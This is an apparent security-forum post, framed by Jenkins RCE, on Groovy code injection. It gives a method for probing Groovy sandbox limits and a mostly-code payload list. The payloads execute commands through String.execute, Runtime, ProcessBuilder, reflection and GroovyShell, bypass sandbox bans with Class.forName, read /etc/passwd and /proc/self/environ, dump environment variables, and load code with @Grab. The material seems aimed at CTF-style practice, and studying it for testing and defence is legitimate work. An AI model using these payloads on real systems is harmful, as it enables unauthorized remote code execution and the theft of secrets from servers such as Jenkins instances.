从Jenkins RCE看Groovy代码注入-先知社区
测试沙箱限制
在实际的 Groovy 表达式注入(GEP,Groovy Expression Injection)中,测试沙箱限制(ban 哪些类/方法) 是最关键的第一步。以下是系统化的方法,让你快速判断出什么可用、什么被禁:
如果失败则会显示General error during semantic analysis: Method calls not allowed on [java.lang.Class]
, 表示 Groovy 编译器或运行环境在语义分析阶段阻止了对 java.lang.Class
的方法调用。
类型 | 示例 | 是否测试 |
---|---|---|
类加载 | Class.forName(...) |
✅ |
类路径读取 | this.class.classLoader |
✅ |
执行命令 | Runtime.exec(...) |
✅ |
ProcessBuilder | new ProcessBuilder(...) |
✅ |
String.execute() |
"ls".execute() |
✅ |
反射 | .getDeclaredMethod(...).invoke(...) |
✅ |
文件访问 | new File("/etc/passwd").text |
✅ |
环境变量 | System.getenv() |
✅ |
网络访问 | new URL("http://x").text |
✅ |
- 测试字符串执行
"whoami".execute().text
如果报错:Method execute() is not allowed
→ 禁用了 String.execute()
方法
- 测试 Runtime
this.class.classLoader.loadClass("java.lang.Runtime").getRuntime().exec("whoami").text
如果报错:Access denied
或 SecurityException
→ 禁用了 Runtime.exec
- 测试 ProcessBuilder
new ProcessBuilder(["sh", "-c", "whoami"]).start().text
或者:
["sh", "-c", "whoami"] as ProcessBuilder
如果这条可用,说明沙箱限制很弱。
- 测试 classLoader
this.class.classLoader.loadClass("java.lang.System").getenv()
或:
this.class.classLoader
如果报错 access denied
或 classLoader not accessible
→ 沙箱限制了类加载器
- 测试反射
clazz = Class.forName("java.lang.Runtime")
m = clazz.getMethod("getRuntime")
rt = m.invoke(null)
rt.exec("id").text
如果失败,可能是 reflect
相关内容被 ban。
- 测试文件访问权限
new File("/etc/passwd").text
如果可以读取,说明文件系统没做限制,尝试 flag
、/proc/self/environ
、/flag
等路径。
payload清单
常规命令执行 payload(无严格沙箱)
// 1. Runtime 直接调用
this.class.classLoader.loadClass("java.lang.Runtime").getRuntime().exec("id").text// 2. 经典 ProcessBuilder 链
proc = ['sh','-c','id'] as ProcessBuilder
proc.start().text// 3. 使用 new ProcessBuilder 方式
new ProcessBuilder(["sh", "-c", "id"]).start().inputStream.text// 4. 隐式调用 Runtime
"sh -c id".execute().text // 如果未禁用 execute 方法// 5. new GroovyShell + evaluate(执行任意 groovy 代码)
new GroovyShell().evaluate("println 'hello from eval'")
沙箱绕过(当 execute、Runtime、ProcessBuilder 等被禁用)
当报错如:
SecurityException: Method calls not allowed
Calling execute on String is not allowed
可以尝试这些:
// 1. 使用 Class.forName 绕过 classLoader 限制
Class.forName("java.lang.Runtime").getRuntime().exec("id").text// 2. 反射调用 Runtime
clazz = Class.forName("java.lang.Runtime")
method = clazz.getMethod("getRuntime")
rt = method.invoke(null)
rt.exec("id").text// 3. 使用 GroovyShell / GroovyClassLoader 执行 Groovy 代码片段
new GroovyShell().evaluate("return 'sh -c id'.execute().text")// 4. Java ProcessBuilder 反射
clazz = Class.forName("java.lang.ProcessBuilder")
ctor = clazz.getConstructor(List)
builder = ctor.newInstance(["sh", "-c", "id"])
builder.start().getInputStream().text// 5. 获取 system shell 环境变量(可能泄露信息)
System.getenv("PATH")
System.getenv().each { k, v -> println "$k=$v" }
信息泄露类(当命令执行彻底被禁)
// 1. 查看所有类属性
this.properties// 2. 查看所有可用方法
this.metaClass.methods*.name// 3. 打印类加载器
this.class.classLoader// 4. 尝试读取 flag
this.class.classLoader.getResourceAsStream("flag")?.text// 5. 列出当前类路径下所有资源
this.class.classLoader.getResources("").each { println it }
特殊技巧:利用 @Grab
注解远程加载恶意类
如果题目允许 @Grab
(Grape)注解(Jenkins 中常见):
@Grab(group='commons-io', module='commons-io', version='2.6')
import org.apache.commons.io.IOUtilsdef p = "sh -c id".execute()
println IOUtils.toString(p.getInputStream(), "UTF-8")